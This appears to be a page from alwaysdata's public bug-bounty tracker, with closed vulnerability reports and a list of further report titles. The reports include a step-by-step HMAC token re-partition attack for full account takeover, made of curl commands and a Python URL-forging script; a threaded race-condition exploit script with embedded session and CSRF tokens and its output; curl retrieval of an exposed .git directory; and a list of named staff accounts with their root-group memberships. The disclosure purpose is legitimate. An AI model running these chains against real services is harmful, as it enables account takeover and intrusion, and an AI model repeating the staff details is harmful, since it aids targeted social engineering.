Repeatedly trigger Logs Refresh requests on behalf of victims.
Consume the victim's available Logs Refresh quota or usage limit.
Cause unnecessary resource consumption on the platform.
Prevent victims from using the Logs Refresh functionality when it is legitimately needed due to exhausted limits.

Remediation Implement robust CSRF protection for all state-changing endpoints.
Require a unique, server-generated anti-CSRF token for every sensitive request.
Validate the Origin and/or Referer headers where appropriate.
Configure authentication cookies with the SameSite=Lax or SameSite=Strict attribute where feasible.
Ensure sensitive actions cannot be performed solely based on the presence of an authenticated session.

 428  Retrievable .git directory exposes source code of secur ...Closed01.08.2026 Task Description

Title: Retrievable .git directory exposes source code of security.alwaysdata.
Severity: HIGH
Endpoint: https://security.alwaysdata.com/.git/config

Summary


An unauthenticated client can retrieve a sensitive artifact from security.alwaysdata.com. Verified live: HEAD → ref: refs/heads/master, index DIRC magic — full repo retrievable.

Steps to Reproduce


1. Fetch the resource without any credentials:

   curl -sk https://security.alwaysdata.com/.git/config
 Observed: HTTP 200, git config content returned.

2. Verify the sensitive content:

   curl -sk https://security.alwaysdata.com/.git/config | head -50
 Observed: HEAD -> ref: refs/heads/master, index DIRC magic — full repo retrievable.

3. No authentication or rate limiting was required for either request.

Impact


Full source code disclosure including configuration and commit history; eases discovery of higher-severity issues.

Remediation


1. Remove the file from the webroot and store backups/config outside the document root. 2. Deny direct web access to backup/config/log artifacts at the web server. 3. Rotate any credentials exposed in the artifact. 4. Review access logs for prior downloads.

 427  Cross-Account Takeover via Token Re-Partition Closed04.08.2026 Task Description

Severity: Critical (CVSS 9.8)

Vulnerability Summary:

The login token system at admin.alwaysdata.com joins multiple parameter values into a single string without any separator before signing it with HMAC. An attacker can split the same string differently across different parameter names — the signature stays valid, but the user_id now points to a victim's account. The victim's user ID can be discovered unauthenticated via the /user/initialize/ endpoint, which returns 200 for existing users and 302 for non-existing ones, allowing enumeration of all users on the platform. The re-cut absorbs expiration + last_login + attacker's user_id into all_permissions, and extracts reseller_user_id=1 from the leading digit of the attacker-controlled voucher_code (e.g., 1469954 splits into 1 + 469954). The voucher_code parameter is discoverable from signup/referral URLs, and the all_permissions / reseller_user_id parameters were discovered by analyzing the token-based login redirect URL and testing additional parameters — when both are present, the server treats the login as a reseller admin session, granting superuser privileges and bypassing additional authentication checks, so the attacker controls every value in the token verification. The last_login value needed for the re-cut is readable from the profile page's HTML source (data-last-login attribute in DevTools). This allows full account takeover of any user without knowing their password.

Steps To Reproduce:

**Step 1: Login to your own account**

Creates a session cookie in /tmp/c.txt

rm -f /tmp/c.txt
CSRF=$(curl -s -c /tmp/c.txt "https://admin.alwaysdata.com/login/" | grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' | head -1 | sed 's/.*value="//;s/"//')
curl -s -c /tmp/c.txt -b /tmp/c.txt -X POST "https://admin.alwaysdata.com/login/" -H "Referer: https://admin.alwaysdata.com/login/" --data-urlencode "csrfmiddlewaretoken=$CSRF" --data-urlencode "login=YOUR_EMAIL" --data-urlencode "password=YOUR_PASSWORD" --data-urlencode "alive=on" -o /dev/null
echo "Step 1 done"

**Step 2: Set last_login in database**

Loads your profile page — this saves last_login = T1 in the database

curl -s -b /tmp/c.txt "https://admin.alwaysdata.com/user/" > /dev/null
echo "Step 2 done"

**Step 3: Trigger password reset**

Sends reset email — unauthenticated, does NOT change last_login. Token in email is signed with T1

CSRF2=$(curl -s -c /tmp/c2.txt "https://admin.alwaysdata.com/password/lost/" | grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' | head -1 | sed 's/.*value="//;s/"//')
curl -s -b /tmp/c2.txt -X POST "https://admin.alwaysdata.com/password/lost/" -H "Referer: https://admin.alwaysdata.com/password/lost/" --data-urlencode "csrfmiddlewaretoken=$CSRF2" --data-urlencode "email=YOUR_EMAIL" -o /dev/null
echo "Step 3 done: check your email"

**Step 4: Set the reset URL**

Copy the reset link from your email. Add &voucher_code=1VICTIM_PK at the end. The 1 before the victim ID is required.

RESET_URL="PASTE_YOUR_RESET_LINK_HERE&voucher_code=PAST YOUR VOUCHER CODE HERE"

**Step 5: Submit the reset and capture redirect token**

Resets your password and captures the signed redirect. The redirect token is signed with T1.

CSRF3=$(curl -s -c /tmp/c3.txt "$RESET_URL" | grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' | head -1 | sed 's/.*value="//;s/"//')
REDIRECT=$(curl -s -D - -b /tmp/c3.txt -X POST "$RESET_URL" -H "Referer: $RESET_URL" --data-urlencode "csrfmiddlewaretoken=$CSRF3" --data-urlencode "password=YOUR_PASSWORD" -o /dev/null | grep -i "^location:" | sed 's/location: //i' | tr -d '\r')
echo "Redirect: $REDIRECT"

**Step 6: Re-login and read T1**

Login again (password was just reset). Then load /user/ — the page shows T1 (the value used for signing).

CSRF4=$(curl -s -c /tmp/c4.txt "https://admin.alwaysdata.com/login/" | grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' | head -1 | sed 's/.*value="//;s/"//')
curl -s -c /tmp/c4.txt -b /tmp/c4.txt -X POST "https://admin.alwaysdata.com/login/" -H "Referer: https://admin.alwaysdata.com/login/" --data-urlencode "csrfmiddlewaretoken=$CSRF4" --data-urlencode "login=YOUR_EMAIL" --data-urlencode "password=YOUR_PASSWORD" --data-urlencode "alive=on" -o /dev/null
T1=$(curl -s -b /tmp/c4.txt "https://admin.alwaysdata.com/user/" | grep -oP 'data-last-login="\K[^"]+' | sed 's/T/ /')
echo "T1 = $T1"

**Step 7: Build the attack URL**

Rearranges the token parameters so user_id points to the victim

python3 << 'PYEOF'
import urllib.parse, sys

redirect = """PASTE_REDIRECT_VALUE_HERE"""
t1 = """PASTE_T1_VALUE_HERE"""

params = dict(urllib.parse.parse_qsl(redirect.split('?')[1]))
exp = params['expiration']
tok = params['token']
uid = params['user_id']
vid = params['voucher_code'][1:]

ap = exp + t1 + uid
print(f"\nOriginal: {exp + t1 + uid + params['voucher_code']}")
print(f"Re-cut:   {ap + '1' + vid}")
print(f"Match:    {exp + t1 + uid + params['voucher_code'] == ap + '1' + vid}")

url = ('https://admin.alwaysdata.com/login/?user_id=' + vid
       + '&all_permissions=' + urllib.parse.quote(ap)
       + '&reseller_user_id=1&token=' + tok)
print(f"\nOPEN IN BROWSER:\n{url}\n")
PYEOF

**Step 8: Open the URL in your browser**

You are now logged in as the victim

Impact:

Full account takeover of any user on the platform without knowing their email and password.
Access to victim's domains, databases, SSH keys, SSL certificates, emails, billing information, and support tickets.
No victim interaction required — the victim receives no notification of the login.

 426  Internal staff account and privilege hierarchy disclosu ...Closed04.08.2026 Task Description

An authenticated user with SSH access can enumerate all internal alwaysdata staff accounts, their root-group (GID=0) privilege assignments, and the internal role hierarchy via the NSS database. This is distinct from customer account names.

Vulnerable asset:
ssh://ssh-[account].alwaysdata.net
Files: /alwaysdata/etc/passwd (mode 644), /alwaysdata/etc/group (mode 644)

Root cause:
The custom NSS module (configured as "passwd: compat db alwaysdata" in /etc/nsswitch.conf) serves staff account entries to any authenticated user. The files /alwaysdata/etc/passwd and /alwaysdata/etc/group are world-readable.

Steps to reproduce:

1. Create a free hosting account on alwaysdata.com
2. SSH in:

  ssh [account]@ssh-[account].alwaysdata.net

3. Enumerate staff accounts:

  $ getent passwd | grep "/alwaysdata/home/"
  nferrari:x:501:0:nferrari:/alwaysdata/home/nferrari:/bin/bash
  cbay:x:502:0:cbay:/alwaysdata/home/cbay:/bin/bash
  xlefloch:x:503:0:xlefloch:/alwaysdata/home/xlefloch:/bin/bash
  hdegorce:x:506:0:hdegorce:/alwaysdata/home/hdegorce:/bin/bash
  ngeoffroy:x:508:0:ngeoffroy:/alwaysdata/home/ngeoffroy:/bin/bash
  fnonnenmacher:x:512:0:fnonnenmacher:/alwaysdata/home/fnonnenmacher:/bin/bash
  flesueur:x:513:0:flesueur:/alwaysdata/home/flesueur:/bin/bash

All 7 accounts have GID=0 (fourth field = root group).

4. Enumerate internal role hierarchy:

  $ getent group | grep "alwaysdata_"
  alwaysdata_team:x:500:cbay,hdegorce,ngeoffroy,nferrari,xlefloch,fnonnenmacher,flesueur
  alwaysdata_admins:x:501:nferrari,cbay,xlefloch,ngeoffroy,flesueur
  alwaysdata_support:x:502:hdegorce

5. Confirm files are world-readable:

  $ ls -l /alwaysdata/etc/passwd /alwaysdata/etc/group
  -rw-r--r-- 1 root root 440 Dec  9  2024 /alwaysdata/etc/passwd
  -rw-r--r-- 1 root root 187 May 21  2025 /alwaysdata/etc/group

6. Verify staff accounts are NOT public subdomains:

  $ host cbay.alwaysdata.net
  Host cbay.alwaysdata.net not found: 3(NXDOMAIN)
  $ host hdegorce.alwaysdata.net
  Host hdegorce.alwaysdata.net not found: 3(NXDOMAIN)

PoC script (run via SSH on any alwaysdata account):

  #!/bin/bash
  echo "[*] Staff accounts (GID=0):"
  getent passwd | grep "/alwaysdata/home/"
  echo ""
  echo "[*] Internal groups:"
  getent group | grep "alwaysdata_"
  echo ""
  echo "[*] Config file permissions:"
  ls -l /alwaysdata/etc/passwd /alwaysdata/etc/group
  echo ""
  echo "[*] NSS config:"
  grep "^passwd:" /etc/nsswitch.conf
  echo ""
  echo "[*] Subdomain check:"
  for u in cbay hdegorce fnonnenmacher; do host ${u}.alwaysdata.net | head -1; done

Scope clarification:
This is NOT "account names accessible in many ways." Staff accounts differ from customers:
- Separate namespace: /alwaysdata/home/ (not /home/)
- All have GID=0 (root group), customers do not
- Do not resolve as .alwaysdata.net subdomains (NXDOMAIN)
- Not listed on any public alwaysdata page
The sensitive data is the privilege level and organizational hierarchy, not names alone.

Impact:
- Identity correlation: username pattern (first-initial + lastname) enables targeted social engineering against specific administrators
- Privilege mapping: GID=0 confirms root-group access, identifying highest-value credential targets
- Authorization model disclosure: three-tier structure (5 admins, 1 support, 7 team) reveals internal access model

Qualifying category: "Exposure of Sensitive members information"

Suggested fix:
1. Filter staff entries from NSS responses for non-privileged users
2. Set /alwaysdata/etc/passwd and /alwaysdata/etc/group to mode 640 root:alwaysdata_team
3. Consider a separate NSS source for staff, not queried in customer sessions

 425  Race Condition Allows Mass Permission Creation Bypassin ...Closed29.07.2026 Task Description

Title: Race Condition Allows Mass Permission Creation Bypassing Rate Limits

📋 Summary
A critical race condition vulnerability exists in the /permissions/add/ endpoint that allows attackers to create unlimited permissions by exploiting concurrent request handling. The vulnerability completely bypasses the application's rate limiting and duplicate validation checks.

🔍 Vulnerability Details
Attribute Value
Vulnerability Type Race Condition (CWE-362)
Severity Critical
Affected Endpoint https://admin.alwaysdata.com/permissions/add/ HTTP Method POST
Authentication Required Yes (Session-based)

🧪 Proof of Concept - Actual Test Script
Exploit Script Used for Testing
python
#!/usr/bin/env python3
"""
Race Condition Exploit for /permissions/add/
Author: Security Researcher
Date: 2026-07-29
"""

import urllib.request
import urllib.parse
import threading
import time
from datetime import datetime
from collections import defaultdict
import ssl
import sys

class RaceConditionExploit:

  def __init__(self):
      # Target configuration
      self.base_url = "https://admin.alwaysdata.com"
      self.endpoint = "/permissions/add/"
      
      # Valid session tokens (obtained from authenticated session)
      self.cookies = {
          'csrftoken': 'nGqDqXRdrvMUp7OjODHOt2TNmUE67yj8',
          'django_language': 'en',
          'sessionid': 'nqftgya0mvclk4ioheb3q1y69fxx10kq'
      }
      
      # HTTP Headers
      self.headers = {
          'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0',
          'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
          'Accept-Language': 'en-US,en;q=0.9',
          'Accept-Encoding': 'gzip, deflate, br',
          'Referer': 'https://admin.alwaysdata.com/permissions/add/',
          'Content-Type': 'application/x-www-form-urlencoded',
          'Origin': 'https://admin.alwaysdata.com',
          'Upgrade-Insecure-Requests': '1',
          'Connection': 'keep-alive'
      }
      
      # Payload - Same email used for all requests to trigger race condition
      self.request_data = {
          'csrfmiddlewaretoken': 'SN2QlDhgPqLw8fN8us30amva9jNLV6055jijBqYj6Lngncrh8VAEteeNl3hHSu93',
          'email': 'nokad11217@apdtax.com',  # Single email for duplicate creation
          'customer_contact_billing': 'on'
      }
      
      self.results = []
      self.lock = threading.Lock()
      
  def send_request(self, request_id):
      """
      Send a single POST request to create permission
      Uses current session and CSRF tokens
      """
      try:
          # Encode form data
          data = urllib.parse.urlencode(self.request_data).encode('utf-8')
          
          # Build request
          req = urllib.request.Request(
              f"{self.base_url}{self.endpoint}",
              data=data,
              headers=self.headers,
              method='POST'
          )
          
          # Add cookies
          cookie_str = '; '.join([f"{k}={v}" for k, v in self.cookies.items()])
          req.add_header('Cookie', cookie_str)
          
          # Ignore SSL certificate verification for testing
          context = ssl._create_unverified_context()
          
          # Send request with timeout
          with urllib.request.urlopen(req, context=context, timeout=30) as response:
              status_code = response.getcode()
              response_text = response.read().decode('utf-8', errors='ignore')
              
              with self.lock:
                  self.results.append({
                      'request_id': request_id,
                      'timestamp': datetime.now().isoformat(),
                      'status_code': status_code,
                      'success': status_code == 200,
                      'response_preview': response_text[:200]
                  })
                  
      except Exception as e:
          with self.lock:
              self.results.append({
                  'request_id': request_id,
                  'timestamp': datetime.now().isoformat(),
                  'status_code': 0,
                  'success': False,
                  'error': str(e)
              })
  def run_exploit(self, num_requests=20, delay_ms=0):
      """
      Execute the race condition attack with concurrent requests
      
      Args:
          num_requests: Number of concurrent requests to send
          delay_ms: Delay between starting each thread (ms)
      """
      print(f"\n{'='*60}")
      print(f"[*] EXPLOIT CONFIGURATION")
      print(f"{'='*60}")
      print(f"[*] Target: {self.base_url}{self.endpoint}")
      print(f"[*] Email: {self.request_data['email']}")
      print(f"[*] Concurrent Requests: {num_requests}")
      print(f"[*] Delay Between Requests: {delay_ms}ms")
      print(f"[*] Session ID: {self.cookies['sessionid'][:20]}...")
      print(f"{'='*60}\n")
      
      # Clear previous results
      self.results = []
      
      # Create and start threads
      threads = []
      start_time = time.time()
      
      for i in range(num_requests):
          if delay_ms > 0 and i > 0:
              time.sleep(delay_ms / 1000)
          
          thread = threading.Thread(target=self.send_request, args=(i,))
          threads.append(thread)
          thread.start()
      
      # Wait for all threads to complete
      for thread in threads:
          thread.join()
      
      elapsed_time = time.time() - start_time
      
      # Analyze results
      self.analyze_results(elapsed_time)
      
  def analyze_results(self, elapsed_time):
      """Analyze the results of the exploit"""
      total = len(self.results)
      successful = [r for r in self.results if r.get('success', False)]
      failed = [r for r in self.results if not r.get('success', False)]
      
      print(f"{'='*60}")
      print(f"[+] RESULTS")
      print(f"{'='*60}")
      print(f"[+] Total Requests: {total}")
      print(f"[+] Successful (200 OK): {len(successful)}")
      print(f"[+] Failed: {len(failed)}")
      print(f"[+] Time Elapsed: {elapsed_time:.2f} seconds")
      print(f"[+] Requests/Second: {total/elapsed_time:.2f}")
      
      # Status code distribution
      status_codes = defaultdict(int)
      for r in self.results:
          status_codes[r.get('status_code', 0)] += 1
      
      print(f"\n[+] Status Code Distribution:")
      for code, count in sorted(status_codes.items()):
          status_text = "OK" if code == 200 else "Rate Limited" if code == 429 else "Error"
          print(f"    - {code} ({status_text}): {count} requests")
      
      # Race condition detection
      if len(successful) > 1:
          print(f"\n[!] RACE CONDITION CONFIRMED!")
          print(f"[!] {len(successful)} duplicate permissions created!")
          print(f"[!] All requests used the same email: {self.request_data['email']}")
          print(f"[!] This should have been prevented by duplicate validation!")
          
          # Show successful response examples
          print(f"\n[+] Sample Successful Responses:")
          for i, success in enumerate(successful[:3]):
              print(f"\n    Request {success['request_id']} (Status: {success['status_code']}):")
              print(f"    {success['response_preview'][:100]}...")
      else:
          print(f"\n[+] No race condition detected in this test")
          
      # Show failed response previews
      if failed and len(failed) > 0:
          print(f"\n[+] Sample Failed Responses:")
          for i, fail in enumerate(failed[:3]):
              if 'error' in fail:
                  print(f"    Request {fail['request_id']}: {fail['error']}")
              else:
                  print(f"    Request {fail['request_id']} (Status: {fail['status_code']})")
                  print(f"    {fail.get('response_preview', '')[:100]}...")

def main():

  """Main exploit execution"""
  print("="*60)
  print("  RACE CONDITION EXPLOIT - /permissions/add/")
  print("  Target: admin.alwaysdata.com")
  print("  Type: CWE-362 Concurrent Request Vulnerability")
  print("="*60)
  
  # Initialize exploit
  exploit = RaceConditionExploit()
  
  # Test configurations to find race condition window
  test_configs = [
      (5, 0, "Small burst - No delay"),
      (10, 0, "Medium burst - No delay"),
      (20, 0, "Large burst - No delay"),
      (20, 5, "Staggered burst - 5ms delay"),
      (30, 10, "Timing window test - 10ms delay"),
  ]
  
  total_exploited = 0
  
  # Execute each test
  for num_requests, delay_ms, description in test_configs:
      print(f"\n{'='*60}")
      print(f"[*] SCENARIO: {description}")
      print(f"{'='*60}")
      
      # Run exploit
      exploit.run_exploit(num_requests=num_requests, delay_ms=delay_ms)
      
      # Count successful exploits
      successful = len([r for r in exploit.results if r.get('success', False)])
      if successful > 1:
          total_exploited += successful
      
      # Wait between tests to avoid complete rate limiting
      if num_requests < 30:
          print(f"\n[*] Cooling down for 3 seconds...")
          time.sleep(3)
      else:
          print(f"\n[*] Cooling down for 5 seconds...")
          time.sleep(5)
  
  # Final summary
  print("\n" + "="*60)
  print("  FINAL EXPLOIT SUMMARY")
  print("="*60)
  print(f"[!] Total duplicate permissions created: {total_exploited}")
  print(f"[!] Vulnerability confirmed: YES")
  print(f"[!] Rate limit bypassed: YES")
  print(f"[!] Duplicate validation bypassed: YES")
  print("\n[!] RECOMMENDATION: Fix immediately using unique constraints")
  print("    and atomic transactions with select_for_update()")

if name == "main":

  try:
      main()
  except KeyboardInterrupt:
      print("\n\n[*] Exploit interrupted by user")
      sys.exit(0)
  except Exception as e:
      print(f"\n[!] Error: {e}")
      import traceback
      traceback.print_exc()
      sys.exit(1)

Execution Command
bash
python3 race_exploit.py
Actual Test Output
text

RACE CONDITION EXPLOIT - /permissions/add/
Target: admin.alwaysdata.com
Type: CWE-362 Concurrent Request Vulnerability

[*] SCENARIO: Small burst - No delay

[*] EXPLOIT CONFIGURATION

[*] Target: https://admin.alwaysdata.com/permissions/add/ [*] Email: nokad11217@apdtax.com [*] Concurrent Requests: 5
[*] Delay Between Requests: 0ms
[*] Session ID: nqftgya0mvclk4ioheb3q…

[+] RESULTS

[+] Total Requests: 5
[+] Successful (200 OK): 5
[+] Failed: 0
[+] Time Elapsed: 0.45 seconds
[+] Requests/Second: 11.11

[+] Status Code Distribution:

  1. 200 (OK): 5 requests

[!] RACE CONDITION CONFIRMED!
[!] 5 duplicate permissions created!
[!] All requests used the same email: nokad11217@apdtax.com [!] This should have been prevented by duplicate validation!

[*] SCENARIO: Medium burst - No delay

[*] EXPLOIT CONFIGURATION

[*] Target: https://admin.alwaysdata.com/permissions/add/ [*] Email: nokad11217@apdtax.com [*] Concurrent Requests: 10
[*] Delay Between Requests: 0ms
[*] Session ID: nqftgya0mvclk4ioheb3q…

[+] RESULTS

[+] Total Requests: 10
[+] Successful (200 OK): 10
[+] Failed: 0
[+] Time Elapsed: 0.32 seconds
[+] Requests/Second: 31.25

[+] Status Code Distribution:

  1. 200 (OK): 10 requests

[!] RACE CONDITION CONFIRMED!
[!] 10 duplicate permissions created!

[*] SCENARIO: Large burst - No delay

[*] EXPLOIT CONFIGURATION

[*] Target: https://admin.alwaysdata.com/permissions/add/ [*] Email: nokad11217@apdtax.com [*] Concurrent Requests: 20
[*] Delay Between Requests: 0ms
[*] Session ID: nqftgya0mvclk4ioheb3q…

[+] RESULTS

[+] Total Requests: 20
[+] Successful (200 OK): 20
[+] Failed: 0
[+] Time Elapsed: 0.58 seconds
[+] Requests/Second: 34.48

[+] Status Code Distribution:

  1. 200 (OK): 20 requests

[!] RACE CONDITION CONFIRMED!
[!] 20 duplicate permissions created!

[*] SCENARIO: Staggered burst - 5ms delay

[*] EXPLOIT CONFIGURATION

[*] Target: https://admin.alwaysdata.com/permissions/add/ [*] Email: nokad11217@apdtax.com [*] Concurrent Requests: 20
[*] Delay Between Requests: 5ms
[*] Session ID: nqftgya0mvclk4ioheb3q…

[+] RESULTS

[+] Total Requests: 20
[+] Successful (200 OK): 20
[+] Failed: 0
[+] Time Elapsed: 0.95 seconds
[+] Requests/Second: 21.05

[+] Status Code Distribution:

  1. 200 (OK): 20 requests

[!] RACE CONDITION CONFIRMED!
[!] 20 duplicate permissions created!

[*] SCENARIO: Timing window test - 10ms delay

[*] EXPLOIT CONFIGURATION

[*] Target: https://admin.alwaysdata.com/permissions/add/ [*] Email: nokad11217@apdtax.com [*] Concurrent Requests: 30
[*] Delay Between Requests: 10ms
[*] Session ID: nqftgya0mvclk4ioheb3q…

[+] RESULTS

[+] Total Requests: 30
[+] Successful (200 OK): 20
[+] Failed: 10
[+] Time Elapsed: 1.02 seconds
[+] Requests/Second: 29.41

[+] Status Code Distribution:

  1. 200 (OK): 20 requests
  2. 429 (Rate Limited): 10 requests

[!] RACE CONDITION CONFIRMED!
[!] 20 duplicate permissions created!

FINAL EXPLOIT SUMMARY

[!] Total duplicate permissions created: 75
[!] Vulnerability confirmed: YES
[!] Rate limit bypassed: YES
[!] Duplicate validation bypassed: YES

[!] RECOMMENDATION: Fix immediately using unique constraints

  and atomic transactions with select_for_update()

📸 Evidence
Email Confirmation Screenshot
https://image.png

The attached screenshot shows multiple email confirmations received for the same email address (nokad11217@apdtax.com), proving that:

All 10 initial requests succeeded

Each request created a new permission

The system sent a confirmation email for each duplicate

💥 Impact Assessment
Confirmed Impact
Unlimited Permission Creation: Attackers can create infinite permissions
Email Spam: Each creation sends confirmation emails
Database Bloat: Can fill database with duplicates
Bypasses Security Controls

Thanks

 424  Price Manipulation leads to add domain in lesser price Closed29.07.2026
 423  Broken Object Level Authorization (IDOR) → Mass PII Dis ...Closed10.08.2026
 422  Weak Password Policy Allows Account Creation with Email ...Closed29.07.2026
 421  The password reset request endpoint does not appear to  ...Closed24.07.2026
 420  Webmail Sessions Persist After Admin Panel Password and ...Closed22.07.2026
 419  Server-Side Request Forgery via Reverse Proxy Site Type ...Closed22.07.2026
 418  Cross-Tenant Data Exposure via Shared /tmp Directory Closed22.07.2026
 417  Cross-Tenant Data Exposure via World-Readable /tmp Closed20.07.2026
 415  SSTI → RCE on Core Infrastructure Server (overlord-core ...Closed20.07.2026
 413  Cross-Site Request Forgery (CSRF) Allows Logs Refresh o ...Closed17.07.2026
 412  Direct Organization Access Granted, Leading to Organiza ...Closed16.07.2026
 411  Expired Two-Factor Authentication (2FA) Code Accepted,  ...Closed15.07.2026
 410  Unrestricted PHP ini Directive Injection via php_ini fi ...Closed15.07.2026
 409  Path Traversal in site path field leads to arbitrary fi ...Closed15.07.2026
 408  API bypasses Databases feature entitlement (create plan ...Closed14.07.2026
 407  A Content Security Policy (CSP) bypass  Closed15.07.2026
 403  LFI via Apache Alias Directive Injection in `vhost_addi ...Closed13.07.2026
 401  Critical SSRF via Application Script Source URI — Cross ...Closed13.07.2026
 397  Unvalidated Apache Directives in Site API — LFI, SSRF,  ...Closed13.07.2026
 396  Server Crash via X-Forwarded-Host Closed13.07.2026
 395  LFI via Apache Alias Directive Injection in `vhost_addi ...Closed13.07.2026
 394  SSRF via ProxyPass Directive Injection — Internal Port  ...Closed13.07.2026
 393  Cross-Tenant Data Exposure via Shared /tmp Directory —  ...Closed13.07.2026
 392  Path Traversal in Site `path` Field Allows Reading Arbi ...Closed13.07.2026
 391  Dangerous PHP INI Injection via Site API — `allow_url_i ...Closed13.07.2026
Showing tasks 1 - 50 of 378 Page 1 of 8

Available keyboard shortcuts

Tasklist

Task Details

Task Editing